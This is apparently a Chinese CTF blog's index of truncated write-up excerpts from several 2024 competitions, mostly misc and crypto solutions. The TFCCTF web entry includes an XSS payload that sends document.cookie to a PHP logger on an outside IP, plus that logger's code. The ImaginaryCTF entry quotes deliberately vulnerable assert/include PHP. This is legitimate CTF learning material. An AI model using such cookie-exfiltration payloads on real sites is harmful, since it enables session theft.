第四届山石CTF训练营
9号下午(三小时)结束的,第四届山石CTF训练营结营(招新)赛
Misc
签到
公众号
ayyctf{W3lc0me_CTFers_7hIs_1s_yOur_fI4g}
play4fun
二进制8位一组>base64
ayyctf{c0de_1s_funnn!!!}
dog
明显是宽高不对,根据CRC值修复,直接利用自动化工具(懒了)
python Deformed-Image-Restorer.py -i dog.png
自动修复
timestamp
bandzip直接打开,对应flag头ayyctf,时间正好对上了,直接提
s = [97, 121, 121, 99, 116, 102, 123, 52, 49, 101, 49, 45, 98, 101, 99, 54, 45, 101, 102, 97, 49, 57, 125]for i in s: print(chr(i), end='')
ayyctf{41e1-bec6-efa19}
看见公众号说给的那个tx ...
TFCCTF2024&CrewCTF2024
TFCCTF
https://ctf.thefewchosen.com
Web
GREETINGS
一开始感觉可以xss,因为body标签可以用
<body onload=alert(`ls`);>
然后,在vps上放置一个xss.php
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);?>
<body onload="window.location.href='http://8.138.168.65/xss.php?cookie='+document.cookie">
一试,没鬼用,莫得反应,那就不是xss喽
群里的师傅做出来了,Orz,是pug ssti,一开始也注意到了X-Powered-By: Express,Express是node.js的Web框架的一种,而Express框架 ...
DeadSec CTF2024
比赛网址
https://deadsec.ctf.ae/
Misc
Welcome
Mic check
简单,写个脚本交互100次就行了
from pwn import *p = remote('ip', port)for i in range(100): s = p.recvline() print(s) r = s[12:13+i] print(r) p.sendlineafter(b'submit test words > ', r)p.interactive()
MAN in the middle
可以看到只有上下两个波形,二进制?最后那一段可以忽略不看
但是数据量好大,手动提不现实
010查看16进制,发现FF 7F*44,算一段,01 80*44也算作一段
前者为1,后者为0,解不出来,尝试01为1,10为0
from Crypto.Util.number import *with open("MIM.MP3", 'rb')as f: a ...
DASCTF 2024暑期挑战赛
emmm,就出了一道简单的背包密码,Misc那道图片差第三部分的flag
官方wp,https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/yleeg03c0ucdoac6
Crypto
complex_enc
超递增背包问题
c = 287687761937146187597379915545639385740275457170939564210821293233370716878150576key = [...]flag = ''for i in key[::-1]: if i <= c: flag += '1' c -= i else: flag += '0'flag = flag[::-1]for i in range(0, len(flag), 8): print(chr(int(flag[i:i+8], 2)), end='')# DASCTF{you_kn0w_b@ckpack ...
ImaginaryCTF2024
Web
readme
下载文件,查看Dockerfile
ictf{path_normalization_to_the_rescue}
journal
if (isset($_GET['file'])) { $file = $_GET['file']; $filepath = './files/' . $file; assert("strpos('$file', '..') === false") or die("Invalid file!"); if (file_exists($filepath)) { include($filepath); } else { echo 'File not found!'; }}
想读一下../../../../../flag,但目录穿越在这里用不了了
可以借助一手assert,把前面 ...
OSCTF2024
HITCON CTF 2024 Quals有点……
不如打OSCTF 2024,比赛网址
https://ctf.os.ftp.sh/
Web
Introspection
script.js
function checkFlag() { const flagInput = document.getElementById('flagInput').value; const result = document.getElementById('result'); const flag = "OSCTF{Cr4zY_In5P3c71On}"; if (flagInput === flag) { result.textContent = "Congratulations! You found the flag!"; result.style.color = "green"; } else ...
DownUnderCTF2024
打西瓜杯去了,比赛结束才想起了在公告上的这个比赛,直接成赛后补题了
土澳出的题目,比赛网址
https://play.duc.tf/
题目仓库
https://github.com/DownUnderCTF/Challenges_2024_Public
Web
parrot the emu
from flask import Flask, render_template, request, render_template_stringapp = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def vulnerable(): chat_log = [] if request.method == 'POST': user_input = request.form.get('user_input') try: result = render_template_st ...
ctfshow-XGCTF2024
Crypto
奇怪的条形码
hgame2024过来的,一眼就是斜着看生成器生成的图片,从手机充电口往里看就能得到字符串
Y3Rmc2hvd3t4aWd1YmVpX21pc2NfZ3JhbV9oZXJlX2ZsYWd9
ctfshow{xigubei_misc_gram_here_flag}
简单密码
647669776d757e83817372816e707479707c888789757c92788d84838b878d9d
一开始我想的是两位一组,也确实如此,但我考虑到异或算法那边去了,就没做出来
然后赛后就拿到exp了,确实也是根据ctfshow{}这个flag头来下手的,只能说比赛的时候没好好观察分析
cipher = "647669776d757e83817372816e707479707c888789757c92788d84838b878d9d"for i in range(0, len(cipher), 2): print(int(cipher[i:i+2], 16), end=' ...
UIUCTF2024
Crypto
X Marked the Spot
题目
from itertools import cycleflag = b"uiuctf{????????????????????????????????????????}"# len(flag) = 48key = b"????????"# len(key) = 8ct = bytes(x ^ y for x, y in zip(flag, cycle(key)))with open("ct", "wb") as ct_file: ct_file.write(ct)
简单的异或算法
根据uiuctf{}拿到key,因为我们一开始就可以获取到key的前七位,而正好flag的长度为48,所以最后的},可以帮我们确认key的最后一位
from pwn import *with open("ct", 'rb')as cipher: m = cipher. ...
WaniCTF2024
周末了,复习小小暂停一下下,耍一哈CTF()
复习周摸摸鱼,跟虾饺皇的大佬们一起打,拿点贡献度(),下面某些题会存在一些参考成分,有点久没打了,思路有点卡壳了
难一点的GoogleCTF一进去,发现要谷歌账号,直接就下班了
发现比赛平台还开着,比赛地址
https://score.wanictf.org/#/challenge
按难度划分,应该是新生赛(官方标的,还是有一定难度的,可能这就是国外的比赛吧),有兴趣可以去看看
Crypto
beginners_rsa
直接分解n
from Crypto.Util.number import *n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347e = 65537enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265p = [995316292 ...